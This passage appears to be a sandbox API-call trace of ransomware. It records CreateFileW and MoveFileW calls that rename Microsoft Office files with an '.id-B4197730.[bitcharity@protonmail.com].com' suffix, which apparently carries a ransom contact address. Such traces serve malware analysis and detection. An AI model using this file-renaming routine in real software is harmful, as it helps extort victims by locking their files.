office\\root\\office16\\1033\\orgch.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.776] CloseHandle (hObject=0x11d0) returned 1 [0257.779] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.780] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.780] CloseHandle (hObject=0x11d0) returned 1 [0257.782] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.782] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgpos.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.782] CloseHandle (hObject=0x11d0) returned 1 [0257.784] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.784] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgwiz.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.784] CloseHandle (hObject=0x11d0) returned 1 [0257.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outllibr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLLIBR.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outllibr.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0257.787] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.787] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hol.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.787] CloseHandle (hObject=0x11d0) returned 1 [0257.788] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.788] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.789] CloseHandle (hObject=0x11d0) returned 1 [0257.790] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.790] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.790] CloseHandle (hObject=0x11d0) returned 1 [0257.791] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.791] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.791] CloseHandle (hObject=0x11d0) returned 1 [0257.792] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.792] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.792] CloseHandle (hObject=0x11d0) returned 1 [0257.793] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.793] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.793] CloseHandle (hObject=0x11d0) returned 1 [0257.794] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.794] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pe.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.794] CloseHandle (hObject=0x11d0) returned 1 [0257.796] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.796] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pipeline.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.796] CloseHandle (hObject=0x11d0) returned 1 [0257.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pjintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PJINTL.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pjintl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0257.799] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.799] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.799] CloseHandle (hObject=0x11d0) returned 1 [0257.801] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.801] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.801] CloseHandle (hObject=0x11d0) returned 1 [0257.802] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.802] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.802] CloseHandle (hObject=0x11d0) returned 1 [0257.803] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.803] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.803] CloseHandle (hObject=0x11d0) returned 1 [0257.804] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.804] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.805] CloseHandle (hObject=0x11d0) returned 1 [0257.807] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.807] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.808] CloseHandle (hObject=0x11d0) returned 1 [0257.808] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.809] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.809] CloseHandle (hObject=0x11d0) returned 1 [0258.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pub6intl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUB6INTL.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pub6intl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0258.845] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.845] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.845] CloseHandle (hObject=0x11d0) returned 1 [0258.847] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.847] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.847] CloseHandle (hObject=0x11d0) returned 1 [0258.849] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.849] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.849] CloseHandle (hObject=0x11d0) returned 1 [0258.850] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.850] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.850] CloseHandle (hObject=0x11d0) returned 1 [0258.851] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.851] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.852] CloseHandle (hObject=0x11d0) returned 1 [0259.135] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.135] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.153] CloseHandle (hObject=0x10bc) returned 1 [0262.499] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Document.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.document.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Document.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.document.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0262.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.ScriptDom.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.scriptdom.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.ScriptDom.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.scriptdom.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0262.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.MashupEngine.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashupengine.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.MashupEngine.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashupengine.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0262.945] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.945] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSSPC.ECF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msspc.ecf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.946] CloseHandle (hObject=0x1168) returned 1 [0262.947] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.948] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX.ECF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\outex.ecf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.948] CloseHandle (hObject=0x1168) returned 1 [0262.949] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.949] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX2.ECF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\outex2.ecf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.949] CloseHandle (hObject=0x1168) returned 1 [0263.811] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.811] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\PowerViewRes.he.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\he\\powerviewres.he.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.811] CloseHandle (hObject=0x11d0) returned 1 [0263.817] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: 